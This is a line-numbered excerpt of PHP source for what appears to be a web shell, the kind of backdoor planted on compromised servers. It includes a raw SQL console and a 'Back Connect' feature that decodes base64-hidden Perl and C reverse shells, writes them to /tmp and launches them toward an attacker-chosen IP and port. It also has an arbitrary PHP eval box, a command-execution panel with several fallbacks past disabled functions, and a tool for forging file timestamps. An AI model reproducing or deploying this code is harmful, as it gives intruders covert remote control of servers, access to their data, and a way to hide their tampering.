786 $('recordlist').doing.value=action;
787 $('recordlist').base64.value=base64;
788 $('recordlist').tablename.value=tablename;
789 $('recordlist').submit();
790}
791function moddbname(dbname) {
792 if(!dbname) return;
793 $('setdbname').dbname.value=dbname;
794 $('setdbname').submit();
795}
796function settable(tablename,doing,page) {
797 if(!tablename) return;
798 if (doing) {
799 $('settable').doing.value=doing;
800 }
801 if (page) {
802 $('settable').page.value=page;
803 }
804 $('settable').tablename.value=tablename;
805 $('settable').submit();
806}
807</script>
808<?php
809 //²Ù×÷¼Ç¼
810 formhead(array('name'=>'recordlist'));
811 makehide('doing');
812 makehide('action','sqladmin');
813 makehide('base64');
814 makehide('tablename');
815 p($dbform);
816 formfoot();
817
818 //Ñ¡¶¨Êý¾Ý¿â
819 formhead(array('name'=>'setdbname'));
820 makehide('action','sqladmin');
821 p($dbform);
822 if (!$dbname) {
823 makehide('dbname');
824 }
825 formfoot();
826
827 //Ñ¡¶¨±í
828 formhead(array('name'=>'settable'));
829 makehide('action','sqladmin');
830 p($dbform);
831 makehide('tablename');
832 makehide('page',$page);
833 makehide('doing');
834 formfoot();
835
836 $cachetables = array();
837 $pagenum = 30;
838 $page = intval($page);
839 if($page) {
840 $start_limit = ($page - 1) * $pagenum;
841 } else {
842 $start_limit = 0;
843 $page = 1;
844 }
845 if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
846 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
847 //»ñÈ¡Êý¾Ý¿âÐÅÏ¢
848 $mysqlver = mysql_get_server_info();
849 p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');
850 $highver = $mysqlver > '4.1' ? 1 : 0;
851
852 //»ñÈ¡Êý¾Ý¿â
853 $query = q("SHOW DATABASES");
854 $dbs = array();
855 $dbs[] = '-- Select a database --';
856 while($db = mysql_fetch_array($query)) {
857 $dbs[$db['Database']] = $db['Database'];
858 }
859 makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));
860 $tabledb = array();
861 if ($dbname) {
862 p('<p>');
863 p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');
864 if ($tablename) {
865 p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');
866 }
867 p('</p>');
868 mysql_select_db($dbname);
869
870 $getnumsql = '';
871 $runquery = 0;
872 if ($sql_query) {
873 $runquery = 1;
874 }
875 $allowedit = 0;
876 if ($tablename && !$sql_query) {
877 $sql_query = "SELECT * FROM $tablename";
878 $getnumsql = $sql_query;
879 $sql_query = $sql_query." LIMIT $start_limit, $pagenum";
880 $allowedit = 1;
881 }
882 p('<form action="'.$self.'" method="POST">');
883 p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database '.$dbname.':</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
884 makehide('tablename', $tablename);
885 makehide('action','sqladmin');
886 p($dbform);
887 p('</form>');
888 if ($tablename || ($runquery && $sql_query)) {
889 if ($doing == 'structure') {
890 $result = q("SHOW COLUMNS FROM $tablename");
891 $rowdb = array();
892 while($row = mysql_fetch_array($result)) {
893 $rowdb[] = $row;
894 }
895 p('<table border="0" cellpadding="3" cellspacing="0">');
896 p('<tr class="head">');
897 p('<td>Field</td>');
898 p('<td>Type</td>');
899 p('<td>Null</td>');
900 p('<td>Key</td>');
901 p('<td>Default</td>');
902 p('<td>Extra</td>');
903 p('</tr>');
904 foreach ($rowdb as $row) {
905 $thisbg = bg();
906 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
907 p('<td>'.$row['Field'].'</td>');
908 p('<td>'.$row['Type'].'</td>');
909 p('<td>'.$row['Null'].' </td>');
910 p('<td>'.$row['Key'].' </td>');
911 p('<td>'.$row['Default'].' </td>');
912 p('<td>'.$row['Extra'].' </td>');
913 p('</tr>');
914 }
915 tbfoot();
916 } elseif ($doing == 'insert' || $doing == 'edit') {
917 $result = q('SHOW COLUMNS FROM '.$tablename);
918 while ($row = mysql_fetch_array($result)) {
919 $rowdb[] = $row;
920 }
921 $rs = array();
922 if ($doing == 'insert') {
923 p('<h2>Insert new line in '.$tablename.' table »</h2>');
924 } else {
925 p('<h2>Update record in '.$tablename.' table »</h2>');
926 $where = base64_decode($base64);
927 $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
928 $rs = mysql_fetch_array($result);
929 }
930 p('<form method="post" action="'.$self.'">');
931 p($dbform);
932 makehide('action','sqladmin');
933 makehide('tablename',$tablename);
934 p('<table border="0" cellpadding="3" cellspacing="0">');
935 foreach ($rowdb as $row) {
936 if ($rs[$row['Field']]) {
937 $value = htmlspecialchars($rs[$row['Field']]);
938 } else {
939 $value = '';
940 }
941 $thisbg = bg();
942 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
943 p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');
944 }
945 if ($doing == 'insert') {
946 p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
947 } else {
948 p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
949 makehide('base64', $base64);
950 }
951 p('</table></form>');
952 } else {
953 $querys = @explode(';',$sql_query);
954 foreach($querys as $num=>$query) {
955 if ($query) {
956 p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
957 switch(qy($query))
958 {
959 case 0:
960 p('<h2>Error : '.mysql_error().'</h2>');
961 break;
962 case 1:
963 if (strtolower(substr($query,0,13)) == 'select * from') {
964 $allowedit = 1;
965 }
966 if ($getnumsql) {
967 $tatol = mysql_num_rows(q($getnumsql));
968 $multipage = multi($tatol, $pagenum, $page, $tablename);
969 }
970 if (!$tablename) {
971 $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
972 $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
973 preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
974 $tablename = $matches[1][0];
975 }
976 $result = q($query);
977 p($multipage);
978 p('<table border="0" cellpadding="3" cellspacing="0">');
979 p('<tr class="head">');
980 if ($allowedit) p('<td>Action</td>');
981 $fieldnum = @mysql_num_fields($result);
982 for($i=0;$i<$fieldnum;$i++){
983 $name = @mysql_field_name($result, $i);
984 $type = @mysql_field_type($result, $i);
985 $len = @mysql_field_len($result, $i);
986 p("<td nowrap>$name<br><span>$type($len)</span></td>");
987 }
988 p('</tr>');
989 while($mn = @mysql_fetch_assoc($result)){
990 $thisbg = bg();
991 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
992 $where = $tmp = $b1 = '';
993 foreach($mn as $key=>$inside){
994 if ($inside) {
995 $where .= $tmp.$key."='".addslashes($inside)."'";
996 $tmp = ' AND ';
997 }
998 $b1 .= '<td nowrap>'.html_clean($inside).' </td>';
999 }
1000 $where = base64_encode($where);
1001 if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');
1002 p($b1);
1003 p('</tr>');
1004 unset($b1);
1005 }
1006 tbfoot();
1007 p($multipage);
1008 break;
1009 case 2:
1010 $ar = mysql_affected_rows();
1011 p('<h2>affected rows : <b>'.$ar.'</b></h2>');
1012 break;
1013 }
1014 }
1015 }
1016 }
1017 } else {
1018 $query = q("SHOW TABLE STATUS");
1019 $table_num = $table_rows = $data_size = 0;
1020 $tabledb = array();
1021 while($table = mysql_fetch_array($query)) {
1022 $data_size = $data_size + $table['Data_length'];
1023 $table_rows = $table_rows + $table['Rows'];
1024 $table['Data_length'] = sizecount($table['Data_length']);
1025 $table_num++;
1026 $tabledb[] = $table;
1027 }
1028 $data_size = sizecount($data_size);
1029 unset($table);
1030 p('<table border="0" cellpadding="0" cellspacing="0">');
1031 p('<form action="'.$self.'" method="POST">');
1032 makehide('action','sqladmin');
1033 p($dbform);
1034 p('<tr class="head">');
1035 p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
1036 p('<td>Name</td>');
1037 p('<td>Rows</td>');
1038 p('<td>Data_length</td>');
1039 p('<td>Create_time</td>');
1040 p('<td>Update_time</td>');
1041 if ($highver) {
1042 p('<td>Engine</td>');
1043 p('<td>Collation</td>');
1044 }
1045 p('</tr>');
1046 foreach ($tabledb as $key => $table) {
1047 $thisbg = bg();
1048 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
1049 p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');
1050 p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');
1051 p('<td>'.$table['Rows'].'</td>');
1052 p('<td>'.$table['Data_length'].'</td>');
1053 p('<td>'.$table['Create_time'].'</td>');
1054 p('<td>'.$table['Update_time'].'</td>');
1055 if ($highver) {
1056 p('<td>'.$table['Engine'].'</td>');
1057 p('<td>'.$table['Collation'].'</td>');
1058 }
1059 p('</tr>');
1060 }
1061 p('<tr class='.bg().'>');
1062 p('<td> </td>');
1063 p('<td>Total tables: '.$table_num.'</td>');
1064 p('<td>'.$table_rows.'</td>');
1065 p('<td>'.$data_size.'</td>');
1066 p('<td colspan="'.($highver ? 4 : 2).'"> </td>');
1067 p('</tr>');
1068
1069 p("<tr class=\"".bg()."\"><td colspan=\"".($highver ? 8 : 6)."\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Save as file <input class=\"input\" name=\"path\" value=\"".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"submit\" name=\"downrar\" value=\"Export selection table\" /></td></tr>");
1070 makehide('doing','backupmysql');
1071 formfoot();
1072 p("</table>");
1073 fr($query);
1074 }
1075 }
1076 }
1077 tbfoot();
1078 @mysql_close();
1079}//end sql backup
1080
1081
1082elseif ($action == 'backconnect') {
1083 !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];
1084 !$yourport && $yourport = '12345';
1085 $usedb = array('perl'=>'perl','c'=>'c');
1086
1087 $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
1088 "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
1089 "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
1090 "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
1091 "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
1092 "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
1093 "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
1094 $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
1095 "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
1096 "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
1097 "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
1098 "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
1099 "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
1100 "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".
1101 "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
1102
1103 if ($start && $yourip && $yourport && $use){
1104 if ($use == 'perl') {
1105 cf('/tmp/angel_bc',$back_connect);
1106 $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");
1107 } else {
1108 cf('/tmp/angel_bc.c',$back_connect_c);
1109 $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
1110 @unlink('/tmp/angel_bc.c');
1111 $res = execute("/tmp/angel_bc $yourip $yourport &");
1112 }
1113 m("Now script try connect to $yourip port $yourport ...");
1114 }
1115
1116 formhead(array('title'=>'Back Connect'));
1117 makehide('action','backconnect');
1118 p('<p>');
1119 p('Your IP:');
1120 makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));
1121 p('Your Port:');
1122 makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));
1123 p('Use:');
1124 makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));
1125 makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));
1126 p('</p>');
1127 formfoot();
1128}//end sql backup
1129
1130elseif ($action == 'eval') {
1131 $phpcode = trim($phpcode);
1132 if($phpcode){
1133 if (!preg_match('#<\?#si', $phpcode)) {
1134 $phpcode = "<?php\n\n{$phpcode}\n\n?>";
1135 }
1136 eval("?".">$phpcode<?");
1137 }
1138 formhead(array('title'=>'Eval PHP Code'));
1139 makehide('action','eval');
1140 maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));
1141
1142 formfooter();
1143}//end eval
1144
1145elseif ($action == 'editfile') {
1146 if(file_exists($opfile)) {
1147 $fp=@fopen($opfile,'r');
1148 $contents=@fread($fp, filesize($opfile));
1149 @fclose($fp);
1150 $contents=htmlspecialchars($contents);
1151 }
1152 formhead(array('title'=>'Create / Edit File'));
1153 makehide('action','file');
1154 makehide('dir',$nowpath);
1155 makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));
1156 maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));
1157 formfooter();
1158}//end editfile
1159
1160elseif ($action == 'newtime') {
1161 $opfilemtime = @filemtime($opfile);
1162 //$time = strtotime("$year-$month-$day $hour:$minute:$second");
1163 $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);
1164 formhead(array('title'=>'Clone file was last modified time'));
1165 makehide('action','file');
1166 makehide('dir',$nowpath);
1167 makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
1168 makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));
1169 formfooter();
1170 formhead(array('title'=>'Set last modified'));
1171 makehide('action','file');
1172 makehide('dir',$nowpath);
1173 makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
1174 p('<p>Instead »');
1175 p('year:');
1176 makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));
1177 p('month:');
1178 makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));
1179 p('day:');
1180 makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));
1181 p('hour:');
1182 makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));
1183 p('minute:');
1184 makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));
1185 p('second:');
1186 makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));
1187 p('</p>');
1188 formfooter();
1189}//end newtime
1190
1191elseif ($action == 'shell') {
1192 if (IS_WIN && IS_COM) {
1193 if($program && $parameter) {
1194 $shell= new COM('Shell.Application');
1195 $a = $shell->ShellExecute($program,$parameter);
1196 m('Program run has '.(!$a ? 'success' : 'fail'));
1197 }
1198 !$program && $program = 'c:\windows\system32\cmd.exe';
1199 !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';
1200 formhead(array('title'=>'Execute Program'));
1201 makehide('action','shell');
1202 makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));
1203 p('<p>');
1204 makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));
1205 makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
1206 p('</p>');
1207 formfoot();
1208 }
1209 formhead(array('title'=>'Execute Command'));
1210 makehide('action','shell');
1211 if (IS_WIN && IS_COM) {
1212 $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');
1213 makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));
1214 }
1215 p('<p>');
1216 makeinput(array('title'=>'Command','name'=>'command','value'=>$command));
1217 makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
1218 p('</p>');
1219 formfoot();
1220
1221 if ($command) {
1222 p('<hr width="100%" noshade /><pre>');
1223 if ($execfunc=='wscript' && IS_WIN && IS_COM) {
1224 $wsh = new COM('WScript.shell');
1225 $exec = $wsh->exec('cmd.exe /c '.$command);
1226 $stdout = $exec->StdOut();
1227 $stroutput = $stdout->ReadAll();
1228 echo $stroutput;
1229 } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {
1230 $descriptorspec = array(
1231 0 => array('pipe', 'r'),
1232 1 => array('pipe', 'w'),
1233 2 => array('pipe', 'w')
1234 );
1235 $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
1236 if (is_resource($process)) {
1237 fwrite($pipes[0], $command."\r\n");
1238 fwrite($pipes[0], "exit\r\n");
1239 fclose($pipes[0]);
1240 while (!feof($pipes[1])) {
1241 echo fgets($pipes[1], 1024);
1242 }
1243 fclose($pipes[1]);
1244 while (!feof($pipes[2])) {
1245 echo fgets($pipes[2], 1024);
1246 }
1247 fclose($pipes[2]);
1248 proc_close($process);
1249 }
1250 } else {
1251 echo(execute($command));
1252 }
1253 p('</pre>');
1254 }
1255}//end shell
1256
1257elseif ($action == 'phpenv') {
1258 $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';
1259 $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');
1260 !$dis_func && $dis_func = 'No';
1261 $info = array(
1262 1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),
1263 2 => array('Server Domain',$_SERVER['SERVER_NAME']),
1264 3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),
1265 4 => array('Server OS',PHP_OS),
1266 5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),
1267 6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),
1268 7 => array('Server Web Port',$_SERVER['SERVER_PORT']),
1269 8 => array('PHP run mode',strtoupper(php_sapi_name())),
1270 9 => array('The file path',__FILE__),
1271
1272 10 => array('PHP Version',PHP_VERSION),
1273 11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')),
1274 12 => array('Safe Mode',getcfg('safe_mode')),
1275 13 => array('Administrator',$adminmail),
1276 14 => array('allow_url_fopen',getcfg('allow_url_fopen')),
1277 15 => array('enable_dl',getcfg('enable_dl')),
1278 16 => array('display_errors',getcfg('display_errors')),
1279 17 => array('register_globals',getcfg('register_globals')),
1280 18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),
1281 19 => array('memory_limit',getcfg('memory_limit')),
1282 20 => array('post_max_size',getcfg('post_max_size')),
1283 21 => array('upload_max_filesize',$upsize),
1284 22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),
1285 23 => array('disable_functions',$dis_func),
1286 );
1287
1288 if($phpvarname) {
1289 m($phpvarname .' : '.getcfg($phpvarname));
1290 }
1291
1292 formhead(array('title'=>'Server environment'));
1293 makehide('action','phpenv');
1294 makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));
1295 formfooter();
1296
1297 $hp = array(0=> 'Server', 1=> 'PHP');
1298 for($a=0;$a<2;$a++) {
1299 p('<h2>'.$hp[$a].' »</h2>');
1300 p('<ul class="info">');
1301 if ($a==0) {
1302 for($i=1;$i<=9;$i++) {
1303 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
1304 }
1305 } elseif ($a == 1) {
1306 for($i=10;$i<=23;$i++) {
1307 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
1308 }
1309 }
1310 p('</ul>');
1311 }
1312}//end phpenv
1313
1314else {
1315 m('Undefined Action');
1316}
1317
1318?>
1319</td></tr></table>
1320<div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;">
1321 <span style="float:right;"><?php debuginfo();ob_end_flush();?></span>
1322
1323</div>
1324</body>
1325</html>
1326
1327<?php
1328
1329/*======================================================
1330º¯Êý¿â
1331======================================================*/
1332
1333function m($msg) {
1334 echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';
1335 echo $msg;
1336 echo '</div>';
1337}
1338function scookie($key, $value, $life = 0, $prefix = 1) {
1339 global $admin, $timestamp, $_SERVER;
1340 $key = ($prefix ? $admin['cookiepre'] : '').$key;
1341 $life = $life ? $life : $admin['cookielife'];
1342 $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
1343 setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
1344}
1345function multi($num, $perpage, $curpage, $tablename) {
1346 $multipage = '';
1347 if($num > $perpage) {
1348 $page = 10;
1349 $offset = 5;
1350 $pages = @ceil($num / $perpage);
1351 if($page > $pages) {
1352 $from = 1;
1353 $to = $pages;
1354 } else {
1355 $from = $curpage - $offset;
1356 $to = $curpage + $page - $offset - 1;
1357 if($from < 1) {
1358 $to = $curpage + 1 - $from;
1359 $from = 1;
1360 if(($to - $from) < $page && ($to - $from) < $pages) {
1361 $to = $page;
1362 }
1363 } elseif($to > $pages) {
1364 $from = $curpage - $pages + $to;
1365 $to = $pages;
1366 if(($to - $from) < $page && ($to - $from) < $pages) {
1367 $from = $pages - $page + 1;
1368 }
1369 }
1370 }
1371 $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');
1372 for($i = $from; $i <= $to; $i++) {
1373 $multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';
1374 }
1375 $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');
1376 $multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';
1377 }
1378 return $multipage;
1379}
1380// µÇ½Èë¿Ú
1381function loginpage() {
1382?>
1383 <style type="text/css">
1384 input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}
1385 </style>
1386 <form method="POST" action="">
1387 <span style="font:11px Verdana;">Password: </span><input name="password" type="password" size="20">
1388 <input type="hidden" name="doing" value="login">
1389 <input type="submit" value="Login">
1390 </form>
1391<?php
1392 exit;
1393}//end loginpage()
1394
1395function execute($cfe) {
1396 $res = '';
1397 if ($cfe) {
1398 if(function_exists('exec')) {
1399 @exec($cfe,$res);
1400 $res = join("\n",$res);
1401 } elseif(function_exists('shell_exec')) {
1402 $res = @shell_exec($cfe);
1403 } elseif(function_exists('system')) {
1404 @ob_start();
1405 @system($cfe);
1406 $res = @ob_get_contents();
1407 @ob_end_clean();
1408 } elseif(function_exists('passthru')) {
1409 @ob_start();
1410 @passthru($cfe);
1411 $res = @ob_get_contents();
1412 @ob_end_clean();
1413 } elseif(@is_resource($f = @popen($cfe,"r"))) {
1414 $res = '';
1415 while(!@feof($f)) {
1416 $res .= @fread($f,1024);
1417 }
1418 @pclose($f);
1419 }
1420 }
1421 return $res;
1422}
1423function which($pr) {
1424 $path = execute("which $pr");
1425 return ($path ? $path : $pr);
1426}
1427
1428function cf($fname,$text){
1429 if($fp=@fopen($fname,'w')) {
1430 @fputs($fp,@base64_decode($text));
1431 @fclose($fp);
1432 }
1433}
1434
1435// Ò³Ãæµ÷ÊÔÐÅÏ¢
1436function debuginfo() {
1437 global $starttime;
1438 $mtime = explode(' ', microtime());
1439 $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
1440 echo 'Processed in '.$totaltime.' second(s)';
1441}
1442
1443//Á¬½ÓÊý¾Ý¿â
1444function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {
1445 if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {
1446 p('<h2>Can not connect to MySQL server</h2>');
1447 exit;
1448 }
1449 if($link && $dbname) {
1450 if (!@mysql_select_db($dbname, $link)) {
1451 p('<h2>Database selected has error</h2>');
1452 exit;
1453 }
1454 }
1455 if($link && mysql_get_server_info() > '4.1') {
1456 if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {
1457 q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
1458 }
1459 }
1460 return $link;
1461}
1462
1463// È¥µôתÒå×Ö·û
1464function s_array(&$array) {
1465 if (is_array($array)) {
1466 foreach ($array as $k => $v) {
1467 $array[$k] = s_array($v);
1468 }
1469 } else if (is_string($array)) {
1470 $array = stripslashes($array);
1471 }
1472 return $array;
1473}
1474
1475// Çå³ýHTML´úÂë
1476function html_clean($content) {
1477 $content = htmlspecialchars($content);
1478 $content = str_replace("\n", "<br />", $content);
1479 $content = str_replace(" ", " ", $content);
1480 $content = str_replace("\t", " ", $content);
1481 return $content;
1482}
1483
1484// »ñȡȨÏÞ
1485function getChmod($filepath){
1486 return substr(base_convert(@fileperms($filepath),10,8),-4);
1487}
1488
1489function getPerms($filepath) {
1490 $mode = @fileperms($filepath);
1491 if (($mode & 0xC000) === 0xC000) {$type = 's';}
1492 elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}
1493 elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}
1494 elseif (($mode & 0x8000) === 0x8000) {$type = '-';}
1495 elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}
1496 elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}
1497 elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}
1498 else {$type = '?';}
1499
1500 $owner['read'] = ($mode & 00400) ? 'r' : '-';
1501 $owner['write'] = ($mode & 00200) ? 'w' : '-';
1502 $owner['execute'] = ($mode & 00100) ? 'x' : '-';
